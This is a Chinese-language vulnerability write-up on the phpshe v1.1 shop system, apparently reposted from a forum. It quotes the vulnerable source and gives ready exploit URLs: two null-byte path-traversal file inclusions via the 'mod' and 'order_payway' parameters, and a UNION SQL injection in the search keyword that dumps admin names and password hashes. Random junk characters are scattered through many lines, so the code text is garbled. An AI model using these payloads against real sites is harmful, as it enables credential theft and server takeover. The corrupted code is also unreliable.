phpshe v1.1多处SQL注入和文件包含漏洞Getshell

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/*******************************************************/
- ]# w. c0 b1 c8 ~1 q, z3 p3 S/* Phpshe v1.1 Vulnerability
0 |0 i8 H: |; I! _6 `, T( |& _/* ========================
/* By: : Kn1f3
9 a, A( N" v6 I; y2 i  x/* E-Mail : 681796@qq.com
/*******************************************************/
0 R. q' m* K8 w9 q0×00 整体大概参数传输

1 P3 \$ t# H. o' }4 ?: S* N

9 m; }  B% @5 z//common.php
: h+ \, F; z3 J* Y3 y0 uif (get_magic_quotes_gpc()) {
!empty($_GET) && extract(pe_trim(pe_stripslashes($_GET)), EXTR_PREFIX_ALL, '_g');
!empty($_POST) && extract(pe_trim(pe_stripslashes($_POST)), EXTR_PREFIX_ALL, '_p');
}
' k; D8 d$ q* k: _) |3 ]else {
4 D, m5 g7 n" c9 V% n* M0 }!empty($_GET) && extract(pe_trim($_GET),EXTR_PREFIX_ALL,'_g');
!empty($_POST) && extract(pe_trim($_POST),EXTR_PREFIX_ALL,'_p');
& }9 p% g) j( K5 [2 f}
session_start();
!empty($_SESSION) && extract(pe_trim($_SESSION),EXTR_PREFIX_ALL,'_s');
!empty($_COOKIE) && extract(pe_trim(pe_stripslashes($_COOKIE)),EXTR_PREFIX_ALL,'_c');

' r( `( ?# Y7 F$ i# N/ K3 @0×01 包含漏洞
- e6 ~* Y! ~7 @1 H2 }
; Q. G! X7 y1 Q: n' w7 S- q
: P8 l7 a- y& F+ i5 k* M//首页文件
<!--?php include('common.php'); $cache_category = cache::get('category'); $cache_category_arr = cache::get('category_arr'); $cache_class = cache::get('class'); $cache_ad = cache::get('ad'); $cache_link = cache::get('link'); $cache_page = cache::get('page'); $web_qq = $cache_setting['web_qq']['setting_value'] ? explode(',', $cache_setting['web_qq']['setting_value']) : array(); $cart_num = pe_login('user') ? $db--->pe_num('cart', array('user_id'=>$_s_user_id)) : (unserialize($_c_cart_list) ? count(unserialize($_c_cart_list)) : 0);
include("{$pe['path_root']}module/{$module}/{$mod}.php");  //$mod可控造成“鸡肋”包含漏洞
pe_result();
?>
//common 文件 第15行开始
url路由配置
& C) {* [2 Y' Q$module = $mod = $act = 'index';
2 M! Z3 W& ~! f$mod = $_POST['mod'] ? $_POST['mod'] : ($_GET['mod'] ? $_GET['mod'] : $mod);
$act = $_POST['act'] ? $_POST['act'] : ($_GET['act'] ? $_GET['act'] : $act);
- ^6 [6 }1 M$ K/ V% q6 U$id = $_POST['id'] ? $_POST['id'] : ($_GET['id'] ? $_GET['id'] : $id);
//exp：http://127.0.0.1/phpshe_v1.1/index.php?mod=../../robots.txt%00
$ W" p6 U/ z! C

" D" o" G, t$ X" d% f# l; K( Y# h 0×02 搜索注入
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+ }1 a" ~* [% Z: I9 N2 L! l2 v) L<code id="code2">

//product.php文件
case 'list':
$ o) _. E2 q6 H$category_id = intval($id);
/ b, X; m$ T7 x3 D1 o; g3 P0 h. C$info = $db->pe_select('category', array('category_id'=>$category_id));
0 T5 ~, r0 k0 d4 ]//搜索
$sqlwhere = " and `product_state` = 1";
pe_lead('hook/category.hook.php');
' X' }, e- i8 ^2 Q+ D: p7 t; Pif ($category_id) {
+ f6 r' q9 R3 @1 T$ V: X+ l* Swhere .= is_array($category_cidarr = category_cidarr($category_id)) ? " and `category_id` in('".implode("','", $category_cidarr)."')" : " and `category_id` = '{$category_id}'";
}
$_g_keyword && $sqlwhere .= " and `product_name` like '%{$_g_keyword}%'"; //keyword变量未进行有效的sql语句过滤
7 c+ {* @( g% d3 P" |/ zif ($_g_orderby) {
$orderby = explode('_', $_g_orderby);
1 |7 P* X$ l5 r$sqlwhere .= " order by `product_{$orderby[0]}` {$orderby[1]}";
}
else {
* ]8 c( ]% X, \& s$sqlwhere .= " order by `product_id` desc";
2 J2 h4 {6 [; ?8 t4 T}
9 t1 A8 m+ S0 J$ P* X7 K$info_list = $db->pe_selectall('product', $sqlwhere, '*', array(16, $_g_page));
/ i6 s/ Z9 R4 f& d/ B% }( L2 M4 H//热卖排行
2 V+ Q% g& {! s$product_hotlist = product_hotlist();
//当前路径
$nowpath = category_path($category_id);
$seo = pe_seo($info['category_name']);
include(pe_tpl('product_list.html'));
//跟进selectall函数库
' [* _) }- a( @1 ipublic function pe_selectall($table, $where = '', $field = '*', $limit_page = array())
{
//处理条件语句
$sqlwhere = $this->_dowhere($where);
0 H! Q' T+ [- ?! P$ q0 \$ `+ ureturn $this->sql_selectall("select {$field} from `".dbpre."{$table}` {$sqlwhere}", $limit_page);
: ~: o. v# ~, m( V5 I/ {}
6 J( l) C& t, `! }6 s4 L//exp
! ?  B& x7 E! ~+ x1 H+ c, \product/list?keyword=kn1f3'+union+select+1,2,3,4,5,(select+concat(admin_name,0x27,admin_pw,0x27)+from+pe_admin),7,8,9,10,11,12,13,14,15,16,17,18,19 and+'1'='1

</code>
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0×03 包含漏洞2

<code id="code3">

//order.php

case 'pay':

# q: u) K7 w( U9 J% Q$order_id = pe_dbhold($_g_id);

$cache_payway = cache::get('payway');

2 [* ~7 a) t- Hforeach($cache_payway as $k => $v) {

8 S( K, ~4 d0 i% M. j$cache_payway[$k]['payway_config'] = unserialize($cache_payway[$k]['payway_config']);

if ($k == 'bank') {

; l5 Q9 N- d3 \# Q3 _$cache_payway[$k]['payway_config']['bank_text'] = str_replace(array("\r", "\n", "\t"), '\n', $cache_payway[$k]['payway_config']['bank_text']);

}

}

8 A" u& L" _* x' @  P; z5 i$order = $db->pe_select('order', array('order_id'=>$order_id, 'order_state'=>'notpay'));

!$order['order_id'] && pe_error('订单号错误...');

- a+ q* U# G! k4 K7 O5 zif (isset($_p_pesubmit)) {

) v1 I# h. D* `$ l) N8 qif ($db->pe_update('order', array('order_id'=>$order_id), $_p_info)) {

; h# i- X1 K; i2 L$info_list = $db->pe_selectall('orderdata', array('order_id'=>$order_id));

foreach ($info_list as $v) {

' Q( d8 l* D% C$order['order_name'] .= "{$v['product_name']};";
, d; j7 s0 [  I' l

: U* \" A9 e5 S# |) b. I}

; x* Q! p1 v, p7 u1 z0 R3 t) h7 P# Fecho '正在为您连接支付网站，请稍后...';

include("{$pe['path_root']}include/plugin/payway/{$_p_info['order_payway']}/order_pay.php");

}//当一切准备好的时候就可以进行"鸡肋包含了"

else {

9 P8 N/ Q( h: j5 zpe_error('支付错误...');

5 ]8 g& K" G* X  I$ x& {}

% A5 U( b- S, f& k& E6 O% ]& J2 H4 q}

  [8 l9 {6 y8 h- w$seo = pe_seo('选择支付方式');

include(pe_tpl('order_pay.html'));

break;

}

//exp：

//http://127.0.0.1/phpshe_v1.1/index.php?mod=order&act=pay&id=1304070001

//info%5Border_payway%5D=alipay/../../../1.txt%00&pesubmit=%E7%AB%8B%E5%8D%B3%E6%94%AF%E4%BB%98</code>
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